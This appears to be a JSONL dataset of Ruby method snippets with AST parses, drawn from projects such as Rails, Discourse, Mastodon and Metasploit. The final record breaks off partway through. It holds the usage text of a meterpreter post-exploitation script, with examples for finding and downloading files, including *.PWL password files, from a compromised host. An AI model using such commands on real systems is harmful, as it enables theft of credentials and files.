{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":166,"raw_source":"def setup\n    ActiveSupport::Inflector.inflections(:cs) do |inflect|\n      inflect.plural(/(e)l$/i, '\\1lé')\n    end\n\n    @model_name = ActiveModel::Name.new(Blog::Post, nil, \"Uzivatel\", :cs)\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"inflections\",{\"type\":\"sym\",\"children\":[\"cs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inflect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inflect\"]},\"plural\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(e)l$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\\\\1lé\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@model_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Name\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Blog\"]},\"Post\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Uzivatel\"]},{\"type\":\"sym\",\"children\":[\"cs\"]}]}]}]}]}","id":"6fc935d1-104f-40db-ad35-b97c8b7064b0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":805,"raw_source":"def group_names=(names)\n    # this line bothers me, destroying in AR can not seem to be queued, thinking of extending it\n    category_groups.destroy_all unless new_record?\n    ids = Group.where(name: names.split(\",\")).pluck(:id)\n    ids.each { |id| category_groups.build(group_id: id) }\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group_names=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_record?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category_groups\"]},\"destroy_all\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category_groups\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"3e96ee64-c3e4-4576-825f-87ca09f0775a"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/helpers/controller.rb","start_line":46,"raw_source":"def config_methods\n        @config_methods ||= Doorkeeper.config.access_token_methods\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"config_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config_methods\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"access_token_methods\"]}]}]}","id":"9d721706-0f23-4b44-a288-be4888a1570e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":942,"raw_source":"def test_resources_routes_only_create_update_destroy\n    draw do\n      resources :relationships, only: [:create, :destroy]\n      resources :friendships,   only: [:update]\n    end\n\n    post \"/relationships\"\n    assert_equal \"relationships#create\", @response.body\n    assert_equal \"/relationships\", relationships_path\n\n    delete \"/relationships/1\"\n    assert_equal \"relationships#destroy\", @response.body\n    assert_equal \"/relationships/1\", relationship_path(1)\n\n    patch \"/friendships/1\"\n    assert_equal \"friendships#update\", @response.body\n    assert_equal \"/friendships/1\", friendship_path(1)\n\n    put \"/friendships/1\"\n    assert_equal \"friendships#update\", @response.body\n    assert_equal \"/friendships/1\", friendship_path(1)\n  end","complexity_score":27.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resources_routes_only_create_update_destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"friendships\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"str\",\"children\":[\"/relationships\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"relationships#create\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/relationships\"]},{\"type\":\"send\",\"children\":[null,\"relationships_path\"]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"str\",\"children\":[\"/relationships/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"relationships#destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/relationships/1\"]},{\"type\":\"send\",\"children\":[null,\"relationship_path\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"patch\",{\"type\":\"str\",\"children\":[\"/friendships/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"friendships#update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/friendships/1\"]},{\"type\":\"send\",\"children\":[null,\"friendship_path\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"put\",{\"type\":\"str\",\"children\":[\"/friendships/1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"friendships#update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/friendships/1\"]},{\"type\":\"send\",\"children\":[null,\"friendship_path\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"6d196f9d-26bb-46a2-bf4b-2a72af1a4093"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/form_templates_controller.rb","start_line":14,"raw_source":"def preview\n    params.require(:name)\n    params.require(:template)\n\n    if params[:id].present?\n      template = FormTemplate.find(params[:id])\n      template.assign_attributes(name: params[:name], template: params[:template])\n    else\n      template = FormTemplate.new(name: params[:name], template: params[:template])\n    end\n\n    begin\n      template.validate!\n      template.process!(guardian)\n      render_serialized(template, FormTemplateSerializer, root: \"form_template\")\n    rescue FormTemplate::NotAllowed => err\n      render_json_error(err.message)\n    end\n  end","complexity_score":38.9,"ast_json":"{\"type\":\"def\",\"children\":[\"preview\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"assign_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]}]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"validate!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"process!\",{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"const\",\"children\":[null,\"FormTemplateSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"form_template\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormTemplate\"]},\"NotAllowed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]},null]}]}]}]}","id":"f7f8794f-61d9-46bd-880a-42cf914047fb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/account_search_service.rb","start_line":167,"raw_source":"def call(query, account = nil, options = {})\n    MastodonOTELTracer.in_span('AccountSearchService#call') do |span|\n      @query   = query&.strip&.gsub(/\\A@/, '')\n      @limit   = options[:limit].to_i\n      @offset  = options[:offset].to_i\n      @options = options\n      @account = account\n\n      span.add_attributes(\n        'search.offset' => @offset,\n        'search.limit' => @limit,\n        'search.backend' => Chewy.enabled? ? 'elasticsearch' : 'database'\n      )\n\n      # Trigger searching accounts using providers.\n      # This will not return any immediate results but has the\n      # potential to fill the local database with relevant\n      # accounts for the next time the search is performed.\n      Fasp::AccountSearchWorker.perform_async(@query) if options[:query_fasp]\n\n      search_service_results.compact.uniq.tap do |results|\n        span.set_attribute('search.results.count', results.size)\n      end\n    end\n  end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"optarg\",\"children\":[\"account\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MastodonOTELTracer\"]},\"in_span\",{\"type\":\"str\",\"children\":[\"AccountSearchService#call\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"span\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"strip\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A@\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"span\"]},\"add_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"search.offset\"]},{\"type\":\"ivar\",\"children\":[\"@offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"search.limit\"]},{\"type\":\"ivar\",\"children\":[\"@limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"search.backend\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chewy\"]},\"enabled?\"]},{\"type\":\"str\",\"children\":[\"elasticsearch\"]},{\"type\":\"str\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_fasp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"AccountSearchWorker\"]},\"perform_async\",{\"type\":\"ivar\",\"children\":[\"@query\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_service_results\"]},\"compact\"]},\"uniq\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"span\"]},\"set_attribute\",{\"type\":\"str\",\"children\":[\"search.results.count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"size\"]}]}]}]}]}]}","id":"e939d158-0d50-4392-a2ab-0fae00a5266f"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/roles_controller.rb","start_line":12,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.platform_role_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_role_serializer\"]},\"constantize\"]}]}","id":"590f61cb-644a-4da0-b18c-31749ea08771"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/application_helper.rb","start_line":49,"raw_source":"def link_to_login(name = nil, html_options = nil, &block)\n    target = new_user_session_path\n\n    html_options = name if block\n\n    if omniauth_only? && Devise.mappings[:user].omniauthable? && User.omniauth_providers.size == 1\n      target = omniauth_authorize_path(:user, User.omniauth_providers[0])\n      html_options ||= {}\n      html_options[:method] = :post\n    end\n\n    if block\n      link_to(target, html_options, &block)\n    else\n      link_to(name, target, html_options)\n    end\n  end","complexity_score":31.35,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_options\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"new_user_session_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"omniauth_only?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"mappings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"omniauthable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"omniauth_providers\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"omniauth_authorize_path\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"omniauth_providers\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]}]}]}","id":"f97515ed-c9d9-43e1-9128-23ce54f57dda"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":976,"raw_source":"def cmd_pushm_help\n            print_line \"Usage: pushm [module1 [,module2, module3...]]\"\n            print_line\n            print_line \"push current active module or specified modules onto the module stack\"\n            print_line\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_pushm_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: pushm [module1 [,module2, module3...]]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"push current active module or specified modules onto the module stack\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"3b120db0-b9da-4885-8227-09476ad42aa0"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/review.rb","start_line":98,"raw_source":"def has_reviewable_with_scrubbed_at?(reviewable, scrubbed_at)\n        within(reviewable_by_id(reviewable.id)) do\n          page.has_css?(\".reviewable-user-details.scrubbed-at .value\", text: scrubbed_at)\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_reviewable_with_scrubbed_at?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reviewable\"]},{\"type\":\"arg\",\"children\":[\"scrubbed_at\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"reviewable_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reviewable\"]},\"id\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".reviewable-user-details.scrubbed-at .value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"scrubbed_at\"]}]}]}]}]}]}","id":"9618fad1-ddec-49ff-87bb-3729945ed78c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/enterprise/billing/handle_stripe_event_service.rb","start_line":75,"raw_source":"def update_plan_features\n    if default_plan?\n      disable_all_premium_features\n    else\n      enable_features_for_current_plan\n    end\n\n    # Enable any manually managed features configured in internal_attributes\n    enable_account_manually_managed_features\n\n    account.save!\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_plan_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_plan?\"]},{\"type\":\"send\",\"children\":[null,\"disable_all_premium_features\"]},{\"type\":\"send\",\"children\":[null,\"enable_features_for_current_plan\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_account_manually_managed_features\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"save!\"]}]}]}","id":"942ee3ab-b8a0-4585-8dd0-1d2c6bd5517c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/quoting_test.rb","start_line":84,"raw_source":"def test_quoted_time_local\n        with_timezone_config default: :local do\n          t = Time.now.change(usec: 0)\n\n          expected = t.change(year: 2000, month: 1, day: 1)\n          expected = expected.getlocal.to_fs(:db).sub(\"2000-01-01 \", \"\")\n\n          assert_equal expected, @quoter.quoted_time(t)\n        end\n      end","complexity_score":17.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quoted_time_local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_timezone_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"local\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usec\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[2000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"getlocal\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"2000-01-01 \"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@quoter\"]},\"quoted_time\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}]}","id":"21fbbfa1-5062-453f-b874-5aa082fa4ec9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/search_dwld.rb","start_line":29,"raw_source":"def usage\n  print_line \"search_dwld -- recursively search for and download files matching a given pattern\"\n  print_line \"USAGE: run search_dwld [base directory] [filter] [pattern]\"\n  print_line\n  print_line \"filter can be a defined pattern or 'free', in which case pattern must be given\"\n  print_line \"Defined patterns:\"\n  print_line $filters.keys.sort.collect{|k| \"\\t#{k}\"}.join(\"\\n\")\n  print_line\n  print_line \"Examples:\"\n  print_line \" run search_dwld\"\n  print_line \"\t=> recursively look for (MS|Open)Office in C:\\\\\"\n  print_line \" run search_dwld %USERPROFILE% win9x\"\n  print_line \"\t=> recursively look for *.PWL files in the user home directory\"\n  print_line \" run search_dwld E:\\\\\\\\ free '\\.(jpg|png|gif)$'\"\n  print_line \"\t=> recursively look for pictures in the E: drive\"\n  print_line(@@opts.usage)\n  raise Rex::Script::Completed\nend","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"search_dwld -- recursively search for and download files matching a given pattern\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"USAGE: run search_dwld [base directory] [filter] [pattern]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"filter can be a defined pattern or 'free', in which case pattern must be given\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Defined patterns:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$filters\"]},\"keys\"]},\"sort\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Examples:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\" run search_dwld\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"\\t=> recursively look for (MS|Open)Office in C:\\\\\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\" run search_dwld %USERPROFILE% 